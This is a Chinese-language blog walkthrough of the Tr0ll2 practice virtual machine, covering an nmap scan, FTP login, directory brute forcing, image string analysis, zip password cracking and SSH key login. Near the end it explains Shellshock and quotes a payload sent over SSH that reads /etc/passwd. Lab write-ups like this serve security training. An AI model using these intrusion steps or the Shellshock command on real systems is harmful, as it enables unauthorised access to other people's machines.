随随波逐流の旅店 vernus
← 返回首页

tr0ll2

  • 发表于 2024-11-23
  • 字数 5,077 · 约 13 分钟
  • 评论 —

tr0ll2

2024-11-23分类·靶场

上来时经典的nmap扫面网段

┌──(root㉿kali)-[~]
└─# nmap -A 192.168.199.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-23 11:06 CST
Nmap scan report for 192.168.199.1
Host is up (0.00019s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_9.5 (protocol 2.0)
MAC Address: 00:50:56:C0:00:08 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 11 (89%)
Aggressive OS guesses: Microsoft Windows 11 21H2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.19 ms 192.168.199.1

Nmap scan report for 192.168.199.2
Host is up (0.00021s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
53/tcp filtered domain
MAC Address: 00:50:56:E5:A4:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running: VMware Player
OS CPE: cpe:/a:vmware:player
OS details: VMware Player virtual NAT device
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms 192.168.199.2

Nmap scan report for 192.168.199.132
Host is up (0.0031s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:0F:F4:68 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到靶机的ip是192.168.199.132,开放了21,22,80端口

访问80端口是这个东西

这里说明了 作者是tr0ll,而且可以看到开放了21端口是一个ftp

ftp链接,账号密码都是tr0ll,进去看一下

里面有一个lmao.zip文件,下载下来看看

后台dirb一下靶机ip,发现有robots.txt

wget下载下来,然后dirb扫描发现开放

几个页面访问下来都是一样的

查看源码说是让我们抓取图片看看,wget下载下来就是

最早的项目中我们说就是分析图片的我们有三种方法

binwalk(路由逆向分析工具)

exiftool(图虫)

strings(识别动态库坂本指令)

strings分析得到

┌──(kali㉿kali)-[~/桌面/tr0ll2]
└─$ strings cat_the_troll.jpg
JFIF
#3-652-108?QE8<M=01F`GMTV[\[7DcjcXjQY[W
)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
"aq2
\vRH
sdwTi
 aDP
 aDP
\z!$
`aDc
(Q@0S
}}HQ\)
B6F@
T"8V
!\#(
u6.U
6&      QY
;.e{
hH}Q
=\x#uk
?}1,;Gd
~>znk
BP~9D
QFQHQT
D       vOE
{"yw
.&9)
Km3Q
^Ah9]*
%DGU
WUh
:uWw
ALzO#
NO_`
F wT
s$3'
H=ev
0mwP
J,hi
nuMs[~
XSy}]F
Q{w}n=
{k{]&
Y]3P
D&ai
7+}(
jr'h
)0zZ
L!&\~T
`$3!
8]j,
K:/w.`'
~^GR
5zT)T
Rq<8
_mzN
S0=&
o&"8
;H!\M.
.l|(
fC@FO
8Yj5
f        &1
Cdb>
1<,n=
Ksbv
K       AM
j?w1
(669VNR
u%u|Pl
;Cw4d
Ps<o
rP{J
H!u-
Vcw9
)Qup=-kG+
$T3!k:~
;*iZ
wvwD
">8Z
mcc8=
IQTu
@rh8T
+sx(
kK+:
=GEZ
gugI
}wR.
-.u+
Dm3Q
+}[R
iZ{4
Xn_B
OYKH
8Hq%
 t+%s3
o=
<CgiZ
jnavF
]mb*=
N9Z<+
kF.j
$v_I
BI%z
2\7c
:t@n~@
        .qtI
$pGd
8VVz
nQ~4
j--h
8WSs
@QEw^?
nwyA
aQ3O
XBuJm08\&
"PzJz
>%cwJ
t+7>
'h(:
]O7U
ew\\
0>!-
1=xA0A
A+eW
H `q
B1Ow
~Q4awpX=
0J<n
v&8Y
Z8$.
yS-[
2 -,
e6mh
{D c
Il-FkKv
i{j68
XL{#
*Mqhq
O\ +
Sk~B
[jmdR
Ol;I
'%jq
iZ7%
Po.d
I {-G>
        ^ah
{)V,
8]-#
g<.}
'o&Q
4F8Q
        -wC
 F>J
_mg=
i{&0
1ancNpG*
=VZ[MH
hZOtY
'=!)
Bwgq
Ws_4\2{.M
&yC*
;,?     @
g%t.
).eG`
:q+|
tA{vF
_R4+
V'E[
XKwyDOt
f>U_
6 ;+5
q/2~WB
Xi]5
tT]+_
kTm6
0W;u
+cih
Qhcv
`*0G
nD{-4/
pzw\
GkDu(
FprFAF@
2;.uG
+=\k
UN"1
khTvH
Q}Jm
ee->
k!;Z
ivc2
ZMV0
-wI<
nCO%?C
.<vI
QLON
@Si;X'
f02HP
8Jh;
gYCJ
pV}A
7U      4
]=%em;
lj\p
*/ p?E$
Look Deep within y0ur_self for the answer

look deep within y0ur_self for the answer 要你深入到这个目录进行下一步

访问,里面有一个answer.txt文件

wget下来

全是base64编码,通过base64 -d answer.txt > having_decode.txt得到解码后的

现在我们看回来哪个下载下下的lmao.zip,zip爆破的话有两种,分别是fcrackzip和zip2john

我们采用fcrackzip

[-u] --use-unzip使用unzip清楚错误密码

[-D] --distionary使用字典爆破

[-p] --postion设置密码的位置

[-c] --charset设置字符集

[-b] --brute-force暴力破解

[-l] --length设置密码长度

[-u] --use-unzip使用unzip清楚错误密码

[-D] --distionary使用字典爆破

[-p] --postion设置密码的位置

[-c] --charset设置字符集

[-b] --brute-force暴力破解

[-l] --length设置密码长度

John爆破文件

Docx :

你可以进入usr/share/john查看john下的文件你会发现这个东西可以爆破7z,office等等文件

对于docx这种一般都是

./office2john.py test.docx > docx.txt   将docx的hash值保存在docx.txt文件中

john -w=./password|txt docx.txt  爆破docx文件

Xlsx: 和docx的一样

回归正题

密码爆破出来了,

ssh链接一下

ssh [email protected]

要求我们输入密码,但是我们上面解压出来了一个私钥,理论上说是不需要密码直接可以登录的


chmod 400 noob

补充一下

chmod 是控制用户对文件的权限进行操作的命令

linux/unix的文件调用权限分为三级:文件所有者(owner),用户组(group),其他用户(other user)

就像是这样的

三位,第一位对应的是read读取,第二位对应的是write写入,第三个对应的是run执行

所以用二进制码就是

报错格式不对(但是教学中时报TRY MARDER LOL!Connecction to xxx.xxx.xxx.xxx closed)🤔

按照他说的是目标靶机的ssh配置有问题,他的环境变量不允许使用/bin/bash和/bin/sh

shell破壳漏洞

shellshork原理

[04/14/2021 00:28] seed@ubuntu:~$ foo='() { echo "wdnmd"; } ;echo "8848";'
[04/14/2021 00:29] seed@ubuntu:~$ echo $foo
() { echo "wdnmd"; } ;echo "8848";
[04/14/2021 00:29] seed@ubuntu:~$ export foo
[04/14/2021 00:29] seed@ubuntu:~$ bash
8848
[04/14/2021 00:29] seed@ubuntu:~$ declare -f foo
foo ()
{
    echo "wdnmd"
}

foo原本是一个shell变量,但是在export foo使得其编程环境变量后,在子shell进程中,foo成为了一个函数,并且命令行自动执行了echo “8848”的命令

对于满足shellshock的情景,我们可以构造出一个特殊的字符串,使得字符串前面部分是空函数定义,后面是用分号隔开的恶意指令

  • 环境变量必须以(){}开始
  • 必须调用bash
  • 系统存在bash漏洞

后面看教程是`ssh [email protected] -i noob '(){:;}; cat /etc/passwd'

但是不知道为什么我的就是打不进去,他是

我是

所以后面就没法弹shell进行下一步操作,Troll2 ,后面想看的可以看这个,满详细的